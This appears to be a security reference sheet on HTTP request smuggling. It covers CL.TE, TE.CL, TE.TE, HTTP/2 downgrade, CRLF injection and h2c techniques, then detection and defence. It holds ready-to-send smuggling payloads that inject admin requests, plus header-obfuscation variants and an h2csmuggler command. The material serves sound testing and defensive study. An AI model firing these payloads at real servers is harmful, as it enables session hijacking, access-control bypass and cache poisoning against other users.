HTTP Request Smuggling
Two boxes in front of your app (front-end proxy/LB, back-end server) disagree on where one request ends and the next begins. Attacker plants a request boundary in a spot that one honours and the other ignores, so a chunk of the payload gets prepended to the next request coming down the same connection. Also called desync.
Needs keep-alive connections and pipelining, multiple requests
riding one TCP socket. No connection reuse, no smuggling. The whole
family lives in the disagreement between the
Content-Length (CL) and Transfer-Encoding
(TE) headers.
Why it matters
- Slips past front-end WAF/ACL controls, the malicious request is smuggled inside a benign one the WAF already waved through.
- Poisons the shared back-end connection, so the next user’s request gets your prefix bolted onto it. Steals their session, forces actions with their cookies.
- Cache poisoning when chained, one bad response gets cached and served to everyone.
- Quiet. Sits in infra seams, easy to miss in testing.
Testing on production can desync the whole pipeline, break other users’ requests, or poison the cache for real. Careful.
Byte-counting note
CL is measured in bytes, and \r\n (CRLF) counts.
Off-by-a-few on the CRLFs is the usual reason a payload silently
fails. Many tools (Burp Repeater’s “Update Content-Length”) auto-fix
Content-Length for you, which overwrites your crafted
value. Turn that off before testing, or your test proves
nothing.
CL.TE
Front-end trusts Content-Length, back-end trusts
Transfer-Encoding.
POST /search HTTP/1.1
Host: example.com
Content-Length: 130
Transfer-Encoding: chunked
0
POST /update HTTP/1.1
Host: example.com
Content-Length: 13
Content-Type: application/x-www-form-urlencoded
isadmin=true
Front-end reads CL and forwards all 130 bytes as one request.
Back-end reads TE chunked, sees the 0 chunk, and calls
the first request done right there. Everything after
0\r\n\r\n is left in the buffer as the start of a
new request, so POST /update gets
processed on its own, on the next victim’s connection.
TE.CL
Mirror image. Front-end trusts Transfer-Encoding,
back-end trusts Content-Length.
POST / HTTP/1.1
Host: example.com
Content-Length: 4
Transfer-Encoding: chunked
78
POST /update HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
isadmin=true
0
Front-end does chunked, 78 (hex = 120) says the next
120 bytes belong to this body, reads up to the terminating
0 chunk, forwards the lot. Back-end only reads
Content-Length: 4 bytes (78\r\n), then
treats POST /update... as a fresh request. The trailing
0 completes nothing so the buffer stays primed. Get the
78 count right or the whole thing hangs.
TE.TE
Both ends honour Transfer-Encoding, but you feed a
malformed TE header that only one of them chokes on. The one that
rejects/ignores the bad header falls back to
Content-Length, and you’re back to a CL.TE or TE.CL
split depending on which side blinked.
POST / HTTP/1.1
Host: example.com
Content-length: 4
Transfer-Encoding: chunked
Transfer-Encoding: chunked1
4e
POST /update HTTP/1.1
Host: example.com
Content-length: 15
isadmin=true
0
The chunked1 is the bait. Doesn’t need two TE
headers either, one malformed header is often enough. Obfuscation
variants to try when a plain duplicate does nothing:
Transfer-Encoding: xchunked
Transfer-Encoding : chunked (space before colon)
Transfer-Encoding:\tchunked (tab)
Transfer-Encoding: chunked\r\n + a second, different value
Transfer-Encoding: chunked (leading space, treated as folded/continuation)
X: X\nTransfer-Encoding: chunked (smuggled via header injection)
HTTP/2 and downgrading
Pure HTTP/2 kills classic smuggling. It’s binary and prefixes
every part (each header, the body) with an explicit length, so
there’s no CL vs TE ambiguity, the body length is stated
unambiguously and
Content-Length/Transfer-Encoding are
meaningless.
The hole is HTTP/2 downgrading: front-end speaks h2 to the client but rewrites to HTTP/1.1 for the back-end. That conversion re-introduces the ambiguity, and whatever junk you smuggled into the h2 request (headers, CRLFs, a bogus CL) gets copied verbatim into the 1.1 request the back-end parses.
Browsers still attach content-length to h2 requests
precisely so a downgrade produces a valid 1.1 request, which is
exactly what you abuse.
H2.CL
Add a content-length to the h2 request. On downgrade
the proxy copies it into the 1.1 request. Set it to 0
and the back-end thinks the POST has no body, so the real body
becomes the start of the next request.
:method POST
:path /
:authority example.com
content-length 0
GET /admin/delete?user=carlos HTTP/1.1
X: (rest of body lingers, prefixes next request)
H2.TE
Same idea with transfer-encoding: chunked smuggled
into the h2 request. If the back-end honours it after downgrade, the
0 chunk ends the request early and the remainder
poisons the connection. Effect identical to H2.CL.
CRLF injection (h2 to h1 downgrade)
HTTP/2 carries binary, so you can stuff a real \r\n
into a header value. HTTP/1.1 uses \r\n as its header
delimiter, so on downgrade your injected CRLF becomes a genuine
header break, or a request boundary. Inject a header, or smuggle a
whole request:
foo: bar\r\n
Content-Length: 0\r\n
\r\n
GET /admin HTTP/1.1\r\n
X: x
Not limited to headers, any field whose bytes reach the 1.1 request works. Each proxy sanitises differently, so mileage varies.
Request tunnelling vs desync
Two very different situations depending on how the back-end pools connections:
- Shared back-end connection (one socket serves all users): full desync. Your leftover prefix hits the next victim’s request. This is the dangerous version, session theft and forced actions.
- Per-user back-end connection (each client
isolated): you can only smuggle onto your own
connection, called request tunnelling. Can’t touch other users, but
still useful for:
- Leaking internal headers, smuggle a second
request into a reflecting endpoint (e.g. one that echoes a
qparam) and read back theHost/X-Internal-*headers the proxy injects. - Bypassing front-end ACLs/WAF, request an
allowed path (
/hello) over h2, smuggle a second 1.1 request to a blocked path (/admin) inside it. Proxy only saw/hello. Use POST not GET so a caching proxy doesn’t serve it from cache and skip the back-end. - Cache poisoning, split so the proxy sends one request but gets two responses. It serves response #1 to you and queues #2, then associates that queued response with the next URL requested. Combine with an upload/reflection sink to plant arbitrary (e.g. JS) content, and it’s cached for every visitor until TTL expires.
- Leaking internal headers, smuggle a second
request into a reflecting endpoint (e.g. one that echoes a
h2c smuggling
Different mechanism, same goal. h2c is HTTP/2 over cleartext,
negotiated by a 1.1 request carrying Upgrade: h2c +
HTTP2-Settings, server replies
101 Switching Protocols.
If the front-end proxy blindly forwards those upgrade headers to the back-end instead of handling them itself, the back-end does the upgrade and the proxy just tunnels the bytes, no longer inspecting them. From there every h2 request you send goes straight to the back-end, past all front-end controls.
# BishopFox h2csmuggler: upgrade via an allowed path, then reach a blocked one
python3 h2csmuggler.py -x https://target:8200/ https://target:8200/private- Only works if the proxy forwards the upgrade. h2c-aware proxies handle it themselves and the trick dies.
- Against an h2c-aware proxy, try the upgrade over TLS anyway. h2c is spec’d for cleartext, so the proxy may not expect it on an encrypted channel and forward it instead of intercepting.
- Request tunnelling only, no cross-user desync. Still good for ACL/WAF bypass and cache poisoning.
Detection
- Send a deliberately malformed CL.TE / TE.CL and time it. If the back-end waits for bytes that never come, the response hangs (timeout). Classic timing-based confirmation, safer than trying to catch a real victim.
- Better: differential responses. Send the smuggling request, then a normal follow-up, and see if the follow-up gets a corrupted/unexpected response.
- Burp has the “HTTP Request Smuggler” extension (Smuggle probe / timeout tests) that automates the CL.TE and TE.CL permutations.
- Always disable auto-
Content-Lengthin your tool first, or you’re testing the tool’s header, not yours.
Defence
- Use HTTP/2 end to end and don’t downgrade to 1.1 at the back-end. Removes the CL/TE ambiguity outright.
- If you must downgrade, have the front-end normalise the request: reject any message with both CL and TE, reject malformed/duplicate TE, strip smuggled CRLFs, and rewrite CL to match.
- Make front-end and back-end parse headers identically, one server behaving differently is the whole bug.
- Prefer one back-end connection per client over a shared pool, downgrades tunnelling to your own socket instead of desyncing others.
- Disable back-end connection reuse where feasible, and drop the connection on any ambiguous request rather than guessing.